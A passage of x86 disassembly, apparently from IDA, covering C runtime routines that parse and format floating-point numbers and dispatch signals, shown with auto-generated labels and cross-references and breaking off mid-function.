var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_42519E
push edi
mov [ebp+arg_8], eax
loc_425151: ; CODE XREF: sub_42512A+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_4250CF
push ebx
call sub_4250CF
lea eax, [ebp+var_10]
push eax
push ebx
call sub_425071
push ebx
call sub_4250CF
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_425071
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_425151
xor edx, edx
pop edi
loc_42519E: ; CODE XREF: sub_42512A+21j
; sub_42512A+9Fj
cmp [ebx+8], edx
jnz short loc_4251CB
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_42519E
; ---------------------------------------------------------------------------
loc_4251CB: ; CODE XREF: sub_42512A+77j
mov esi, 8000h
loc_4251D0: ; CODE XREF: sub_42512A+B9j
test [ebx+8], esi
jnz short loc_4251E5
push ebx
call sub_4250CF
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_4251D0
; ---------------------------------------------------------------------------
loc_4251E5: ; CODE XREF: sub_42512A+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_42512A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4251F1 proc near ; CODE XREF: sub_424518+17p
; sub_424545+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_42522C: ; CODE XREF: sub_4251F1+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_425242
cmp cl, 9
jz short loc_425242
cmp cl, 0Ah
jz short loc_425242
cmp cl, 0Dh
jnz short loc_425245
loc_425242: ; CODE XREF: sub_4251F1+40j
; sub_4251F1+45j ...
inc edi
jmp short loc_42522C
; ---------------------------------------------------------------------------
loc_425245: ; CODE XREF: sub_4251F1+4Fj
push 4
pop esi
loc_425248: ; CODE XREF: sub_4251F1+AEj
; sub_4251F1+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_4254CB ; default
; jumptable 00425254 case 10
jmp off_425692[eax*4] ; switch jump
loc_42525B: ; DATA XREF: ___:off_425692o
cmp bl, 31h ; jumptable 00425254 case 0
jl short loc_42526C
cmp bl, 39h
jg short loc_42526C
loc_425265: ; CODE XREF: sub_4251F1+C4j
; sub_4251F1+118j
push 3
jmp loc_425489
; ---------------------------------------------------------------------------
loc_42526C: ; CODE XREF: sub_4251F1+6Dj
; sub_4251F1+72j
cmp bl, byte_43C508
jnz short loc_42527B
loc_425274: ; CODE XREF: sub_4251F1+124j
push 5
jmp loc_4254C1
; ---------------------------------------------------------------------------
loc_42527B: ; CODE XREF: sub_4251F1+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_4252A1
dec eax
dec eax
jz short loc_425295
sub eax, 3
jnz loc_425564
jmp loc_425324
; ---------------------------------------------------------------------------
loc_425295: ; CODE XREF: sub_4251F1+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_425248
; ---------------------------------------------------------------------------
loc_4252A1: ; CODE XREF: sub_4251F1+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_425248
; ---------------------------------------------------------------------------
loc_4252AA: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp bl, 31h ; jumptable 00425254 case 1
mov [ebp+var_10], edx
jl short loc_4252B7
cmp bl, 39h
jle short loc_425265
loc_4252B7: ; CODE XREF: sub_4251F1+BFj
cmp bl, byte_43C508
jz loc_42537F
cmp bl, 2Bh
jz short loc_4252F9
cmp bl, 2Dh
jz short loc_4252F9
cmp bl, 30h
jz short loc_425324
loc_4252D2: ; CODE XREF: sub_4251F1+207j
cmp bl, 43h
jle loc_425564
cmp bl, 45h
jle short loc_4252F2
cmp bl, 63h
jle loc_425564
cmp bl, 65h
jg loc_425564
loc_4252F2: ; CODE XREF: sub_4251F1+EDj
push 6
jmp loc_4254C1
; ---------------------------------------------------------------------------
loc_4252F9: ; CODE XREF: sub_4251F1+D5j
; sub_4251F1+DAj ...
dec edi
push 0Bh
jmp loc_4254C1
; ---------------------------------------------------------------------------
loc_425301: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp bl, 31h ; jumptable 00425254 case 2
jl short loc_42530F
cmp bl, 39h
jle loc_425265
loc_42530F: ; CODE XREF: sub_4251F1+113j
cmp bl, byte_43C508
jz loc_425274
cmp bl, 30h
jnz loc_4254D9
loc_425324: ; CODE XREF: sub_4251F1+9Fj
; sub_4251F1+DFj
mov eax, edx
jmp loc_425248
; ---------------------------------------------------------------------------
loc_42532B: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
mov [ebp+var_10], edx ; jumptable 00425254 case 3
loc_42532E: ; CODE XREF: sub_4251F1+184j
cmp dword_43C504, edx
jle short loc_425347
movzx eax, bl
push esi
push eax
call sub_41F515
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425355
; ---------------------------------------------------------------------------
loc_425347: ; CODE XREF: sub_4251F1+143j
mov ecx, off_43C2F8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425355: ; CODE XREF: sub_4251F1+154j
test eax, eax
jz short loc_425377
cmp [ebp+var_4], 19h
jnb short loc_42536F
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_425372
; ---------------------------------------------------------------------------
loc_42536F: ; CODE XREF: sub_4251F1+16Cj
inc [ebp+var_8]
loc_425372: ; CODE XREF: sub_4251F1+17Cj
mov bl, [edi]
inc edi
jmp short loc_42532E
; ---------------------------------------------------------------------------
loc_425377: ; CODE XREF: sub_4251F1+166j
cmp bl, byte_43C508
jnz short loc_4253E6
loc_42537F: ; CODE XREF: sub_4251F1+CCj
mov eax, esi
jmp loc_425248
; ---------------------------------------------------------------------------
loc_425386: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp [ebp+var_4], 0 ; jumptable 00425254 case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_42539F
loc_425392: ; CODE XREF: sub_4251F1+1ACj
cmp bl, 30h
jnz short loc_42539F
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_425392
; ---------------------------------------------------------------------------
loc_42539F: ; CODE XREF: sub_4251F1+19Fj
; sub_4251F1+1A4j ...
cmp dword_43C504, edx
jle short loc_4253B8
movzx eax, bl
push esi
push eax
call sub_41F515
pop ecx
pop ecx
push 1
pop edx
jmp short loc_4253C6
; ---------------------------------------------------------------------------
loc_4253B8: ; CODE XREF: sub_4251F1+1B4j
mov ecx, off_43C2F8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_4253C6: ; CODE XREF: sub_4251F1+1C5j
test eax, eax
jz short loc_4253E6
cmp [ebp+var_4], 19h
jnb short loc_4253E1
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_4253E1: ; CODE XREF: sub_4251F1+1DDj
mov bl, [edi]
inc edi
jmp short loc_42539F
; ---------------------------------------------------------------------------
loc_4253E6: ; CODE XREF: sub_4251F1+18Cj
; sub_4251F1+1D7j
cmp bl, 2Bh
jz loc_4252F9
cmp bl, 2Dh
jz loc_4252F9
jmp loc_4252D2
; ---------------------------------------------------------------------------
loc_4253FD: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp dword_43C504, edx ; jumptable 00425254 case 5
mov [ebp+var_24], edx
jle short loc_425419
movzx eax, bl
push esi
push eax
call sub_41F515
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425427
; ---------------------------------------------------------------------------
loc_425419: ; CODE XREF: sub_4251F1+215j
mov ecx, off_43C2F8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425427: ; CODE XREF: sub_4251F1+226j
test eax, eax
jz loc_4254D9
mov eax, esi
jmp short loc_42548A
; ---------------------------------------------------------------------------
loc_425433: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
lea ecx, [edi-2] ; jumptable 00425254 case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_425443
cmp bl, 39h
jle short loc_425487
loc_425443: ; CODE XREF: sub_4251F1+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_4254BF
dec eax
dec eax
jz short loc_4254B3
sub eax, 3
jnz loc_425567
loc_425458: ; CODE XREF: sub_4251F1+2A4j
push 8
jmp short loc_4254C1
; ---------------------------------------------------------------------------
loc_42545C: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
mov [ebp+var_20], edx ; jumptable 00425254 case 8
loc_42545F: ; CODE XREF: sub_4251F1+276j
cmp bl, 30h
jnz short loc_425469
mov bl, [edi]
inc edi
jmp short loc_42545F
; ---------------------------------------------------------------------------
loc_425469: ; CODE XREF: sub_4251F1+271j
cmp bl, 31h
jl loc_425564
cmp bl, 39h
jg loc_425564
jmp short loc_425487
; ---------------------------------------------------------------------------
loc_42547D: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp bl, 31h ; jumptable 00425254 case 7
jl short loc_425490
cmp bl, 39h
jg short loc_425490
loc_425487: ; CODE XREF: sub_4251F1+250j
; sub_4251F1+28Aj
push 9
loc_425489: ; CODE XREF: sub_4251F1+76j
pop eax
loc_42548A: ; CODE XREF: sub_4251F1+240j
dec edi
jmp loc_425248
; ---------------------------------------------------------------------------
loc_425490: ; CODE XREF: sub_4251F1+28Fj
; sub_4251F1+294j
cmp bl, 30h
jnz short loc_4254D9
jmp short loc_425458
; ---------------------------------------------------------------------------
loc_425497: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp [ebp+arg_18], 0 ; jumptable 00425254 case 11
jz short loc_4254C7
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_4254BF
dec eax
dec eax
jnz loc_425567
loc_4254B3: ; CODE XREF: sub_4251F1+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_425248
; ---------------------------------------------------------------------------
loc_4254BF: ; CODE XREF: sub_4251F1+258j
; sub_4251F1+2B8j
push 7
loc_4254C1: ; CODE XREF: sub_4251F1+85j
; sub_4251F1+103j ...
pop eax
jmp loc_425248
; ---------------------------------------------------------------------------
loc_4254C7: ; CODE XREF: sub_4251F1+2AAj
push 0Ah
dec edi
pop eax
loc_4254CB: ; CODE XREF: sub_4251F1+5Dj
; sub_4251F1+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 00425254 case 10
jz loc_425569
jmp loc_425248
; ---------------------------------------------------------------------------
loc_4254D9: ; CODE XREF: sub_4251F1+12Dj
; sub_4251F1+238j ...
mov edi, [ebp+arg_8]
jmp loc_425569
; ---------------------------------------------------------------------------
loc_4254E1: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
mov [ebp+var_20], 1 ; jumptable 00425254 case 9
xor esi, esi
loc_4254EA: ; CODE XREF: sub_4251F1+339j
cmp dword_43C504, 1
jle short loc_425502
movzx eax, bl
push 4
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_425511
; ---------------------------------------------------------------------------
loc_425502: ; CODE XREF: sub_4251F1+300j
mov ecx, off_43C2F8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_425511: ; CODE XREF: sub_4251F1+30Fj
test eax, eax
jz short loc_425531
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_42552C
mov bl, [edi]
inc edi
jmp short loc_4254EA
; ---------------------------------------------------------------------------
loc_42552C: ; CODE XREF: sub_4251F1+334j
mov esi, 1451h
loc_425531: ; CODE XREF: sub_4251F1+322j
mov [ebp+var_1C], esi
loc_425534: ; CODE XREF: sub_4251F1+371j
cmp dword_43C504, 1
jle short loc_42554C
movzx eax, bl
push 4
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_42555B
; ---------------------------------------------------------------------------
loc_42554C: ; CODE XREF: sub_4251F1+34Aj
mov ecx, off_43C2F8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_42555B: ; CODE XREF: sub_4251F1+359j
test eax, eax
jz short loc_425564
mov bl, [edi]
inc edi
jmp short loc_425534
; ---------------------------------------------------------------------------
loc_425564: ; CODE XREF: sub_4251F1+99j
; sub_4251F1+E4j ...
dec edi
jmp short loc_425569
; ---------------------------------------------------------------------------
loc_425567: ; CODE XREF: sub_4251F1+261j
; sub_4251F1+2BCj
mov edi, ecx
loc_425569: ; CODE XREF: sub_4251F1+2DDj
; sub_4251F1+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_425651
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_425595
cmp [ebp+var_45], 5
jl short loc_425589
inc [ebp+var_45]
loc_425589: ; CODE XREF: sub_4251F1+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_425598
; ---------------------------------------------------------------------------
loc_425595: ; CODE XREF: sub_4251F1+38Dj
mov eax, [ebp+var_C]
loc_425598: ; CODE XREF: sub_4251F1+3A2j
cmp [ebp+var_4], 0
jbe loc_425647
loc_4255A2: ; CODE XREF: sub_4251F1+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_4255B0
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_4255A2
; ---------------------------------------------------------------------------
loc_4255B0: ; CODE XREF: sub_4251F1+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_42512A
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_4255CF
neg eax
loc_4255CF: ; CODE XREF: sub_4251F1+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_4255DA
add eax, [ebp+arg_10]
loc_4255DA: ; CODE XREF: sub_4251F1+3E4j
cmp [ebp+var_24], ecx
jnz short loc_4255E2
sub eax, [ebp+arg_14]
loc_4255E2: ; CODE XREF: sub_4251F1+3ECj
cmp eax, 1450h
jle short loc_425619
mov [ebp+var_2C], 1
loc_4255F0: ; CODE XREF: sub_4251F1+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_4255FC: ; CODE XREF: sub_4251F1+454j
; sub_4251F1+45Ej
cmp [ebp+var_2C], 0
jz short loc_425662
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_425677
; ---------------------------------------------------------------------------
loc_425619: ; CODE XREF: sub_4251F1+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_425629
mov [ebp+var_30], 1
jmp short loc_4255F0
; ---------------------------------------------------------------------------
loc_425629: ; CODE XREF: sub_4251F1+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_425DDA
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_4255FC
; ---------------------------------------------------------------------------
loc_425647: ; CODE XREF: sub_4251F1+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_4255FC
; ---------------------------------------------------------------------------
loc_425651: ; CODE XREF: sub_4251F1+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_425677
; ---------------------------------------------------------------------------
loc_425662: ; CODE XREF: sub_4251F1+40Fj
cmp [ebp+var_30], 0
jz short loc_425677
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_425677: ; CODE XREF: sub_4251F1+426j
; sub_4251F1+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_4251F1 endp
; ---------------------------------------------------------------------------
off_425692 dd offset loc_42525B ; DATA XREF: sub_4251F1+63r
dd offset loc_4252AA ; jump table for switch statement
dd offset loc_425301
dd offset loc_42532B
dd offset loc_425386
dd offset loc_4253FD
dd offset loc_425433
dd offset loc_42547D
dd offset loc_42545C
dd offset loc_4254E1
dd offset loc_4254CB
dd offset loc_425497
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4256C2 proc near ; CODE XREF: sub_4245E9+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_425724
mov byte ptr [ebx+2], 2Dh
jmp short loc_425728
; ---------------------------------------------------------------------------
loc_425724: ; CODE XREF: sub_4256C2+5Aj
mov byte ptr [ebx+2], 20h
loc_425728: ; CODE XREF: sub_4256C2+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_42574E
test edi, edi
jnz short loc_42574E
cmp [ebp+arg_0], edi
jnz short loc_42574E
loc_425739: ; CODE XREF: sub_4256C2+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_42594C
; ---------------------------------------------------------------------------
loc_42574E: ; CODE XREF: sub_4256C2+6Cj
; sub_4256C2+70j ...
cmp dx, si
jnz short loc_4257CD
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_425767
cmp [ebp+arg_0], 0
jz short loc_425776
loc_425767: ; CODE XREF: sub_4256C2+9Dj
test edi, 40000000h
jnz short loc_425776
push offset a1Snan ; "1#SNAN"
jmp short loc_4257BC
; ---------------------------------------------------------------------------
loc_425776: ; CODE XREF: sub_4256C2+A3j
; sub_4256C2+ABj
test cx, cx
jz short loc_425790
cmp edi, 0C0000000h
jnz short loc_425790
cmp [ebp+arg_0], 0
jnz short loc_4257B7
push offset a1Ind ; "1#IND"
jmp short loc_42579F
; ---------------------------------------------------------------------------
loc_425790: ; CODE XREF: sub_4256C2+B7j
; sub_4256C2+BFj
cmp edi, eax
jnz short loc_4257B7
cmp [ebp+arg_0], 0
jnz short loc_4257B7
push offset a1Inf ; "1#INF"
loc_42579F: ; CODE XREF: sub_4256C2+CCj
lea eax, [ebx+4]
push eax
call sub_41BEB0
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_4257AE: ; CODE XREF: sub_4256C2+109j
and [ebp+var_4], 0
jmp loc_425925
; ---------------------------------------------------------------------------
loc_4257B7: ; CODE XREF: sub_4256C2+C5j
; sub_4256C2+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_4257BC: ; CODE XREF: sub_4256C2+B2j
lea eax, [ebx+4]
push eax
call sub_41BEB0
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_4257AE
; ---------------------------------------------------------------------------
loc_4257CD: ; CODE XREF: sub_4256C2+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_425DDA
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_42582E
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_425BBA
pop ecx
pop ecx
loc_42582E: ; CODE XREF: sub_4256C2+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_425848
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_42584B
jmp loc_425739
; ---------------------------------------------------------------------------
loc_425848: ; CODE XREF: sub_4256C2+173j
mov edi, [ebp+arg_C]
loc_42584B: ; CODE XREF: sub_4256C2+17Fj
cmp edi, 15h
jle short loc_425853
push 15h
pop edi
loc_425853: ; CODE XREF: sub_4256C2+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_425869: ; CODE XREF: sub_4256C2+1B4j
lea eax, [ebp+var_10]
push eax
call sub_4250CF
dec [ebp+arg_14]
pop ecx
jnz short loc_425869
test esi, esi
jge short loc_425893
neg esi
and esi, 0FFh
jle short loc_425893
loc_425886: ; CODE XREF: sub_4256C2+1CFj
lea eax, [ebp+var_10]
push eax
call sub_4250FD
dec esi
pop ecx
jnz short loc_425886
loc_425893: ; CODE XREF: sub_4256C2+1B8j
; sub_4256C2+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_4258F0
mov [ebp+arg_C], ecx
loc_4258A3: ; CODE XREF: sub_4256C2+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_4250CF
lea eax, [ebp+var_10]
push eax
call sub_4250CF
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_425071
lea eax, [ebp+var_10]
push eax
call sub_4250CF
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_4258A3
mov eax, [ebp+arg_14]
loc_4258F0: ; CODE XREF: sub_4256C2+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_42592D
loc_4258FD: ; CODE XREF: sub_4256C2+248j
cmp eax, ecx
jb short loc_425910
cmp byte ptr [eax], 39h
jnz short loc_42590C
mov byte ptr [eax], 30h
dec eax
jmp short loc_4258FD
; ---------------------------------------------------------------------------
loc_42590C: ; CODE XREF: sub_4256C2+242j
cmp eax, ecx
jnb short loc_425914
loc_425910: ; CODE XREF: sub_4256C2+23Dj
inc eax
inc word ptr [ebx]
loc_425914: ; CODE XREF: sub_4256C2+24Cj
inc byte ptr [eax]
loc_425916: ; CODE XREF: sub_4256C2+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_425925: ; CODE XREF: sub_4256C2+F0j
mov eax, [ebp+var_4]
loc_425928: ; CODE XREF: sub_4256C2+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_42592D: ; CODE XREF: sub_4256C2+239j
; sub_4256C2+275j
cmp eax, ecx
jb short loc_42593D
cmp byte ptr [eax], 30h
jnz short loc_425939
dec eax
jmp short loc_42592D
; ---------------------------------------------------------------------------
loc_425939: ; CODE XREF: sub_4256C2+272j
cmp eax, ecx
jnb short loc_425916
loc_42593D: ; CODE XREF: sub_4256C2+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_42594C: ; CODE XREF: sub_4256C2+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_425928
sub_4256C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425955 proc near ; CODE XREF: sub_42255C+226Dp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_4259BC
dec eax
dec eax
jz short loc_4259AD
sub eax, 4
jz short loc_4259AD
sub eax, 3
jz short loc_4259AD
sub eax, 4
jz short loc_4259A0
sub eax, 6
jz short loc_425993
dec eax
jz short loc_425986
or eax, 0FFFFFFFFh
jmp loc_425A7E
; ---------------------------------------------------------------------------
loc_425986: ; CODE XREF: sub_425955+27j
mov esi, dword_4DB57C
mov eax, offset dword_4DB57C
jmp short loc_4259C7
; ---------------------------------------------------------------------------
loc_425993: ; CODE XREF: sub_425955+24j
mov esi, dword_4DB578
mov eax, offset dword_4DB578
jmp short loc_4259C7
; ---------------------------------------------------------------------------
loc_4259A0: ; CODE XREF: sub_425955+1Fj
mov esi, dword_4DB580
mov eax, offset dword_4DB580
jmp short loc_4259C7
; ---------------------------------------------------------------------------
loc_4259AD: ; CODE XREF: sub_425955+10j
; sub_425955+15j ...
push edi
call sub_425A82
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_4259C7
; ---------------------------------------------------------------------------
loc_4259BC: ; CODE XREF: sub_425955+Cj
mov esi, dword_4DB574
mov eax, offset dword_4DB574
loc_4259C7: ; CODE XREF: sub_425955+3Cj
; sub_425955+49j ...
cmp esi, 1
jnz short loc_4259D3
xor eax, eax
jmp loc_425A7E
; ---------------------------------------------------------------------------
loc_4259D3: ; CODE XREF: sub_425955+75j
test esi, esi
jnz short loc_4259DE
push 3
call sub_41B7C2
loc_4259DE: ; CODE XREF: sub_425955+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_4259F0
cmp edi, 0Bh
jz short loc_4259F0
cmp edi, 4
jnz short loc_425A16
loc_4259F0: ; CODE XREF: sub_425955+8Fj
; sub_425955+94j
mov ebx, dword_4DB350
and dword_4DB350, 0
cmp edi, ecx
jnz short loc_425A45
mov edx, dword_43C94C
mov dword_43C94C, 8Ch
mov [ebp+arg_0], edx
jmp short loc_425A19
; ---------------------------------------------------------------------------
loc_425A16: ; CODE XREF: sub_425955+99j
mov ebx, [ebp+arg_0]
loc_425A19: ; CODE XREF: sub_425955+BFj
cmp edi, ecx
jnz short loc_425A45
mov eax, dword_43C940
mov ecx, dword_43C944
add ecx, eax
cmp eax, ecx
jge short loc_425A4C
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:43C8D0h[edx*4]
loc_425A3A: ; CODE XREF: sub_425955+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_425A3A
jmp short loc_425A4C
; ---------------------------------------------------------------------------
loc_425A45: ; CODE XREF: sub_425955+AAj
; sub_425955+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_425A5A
loc_425A4C: ; CODE XREF: sub_425955+D7j
; sub_425955+EEj
push dword_43C94C
push 8
call esi
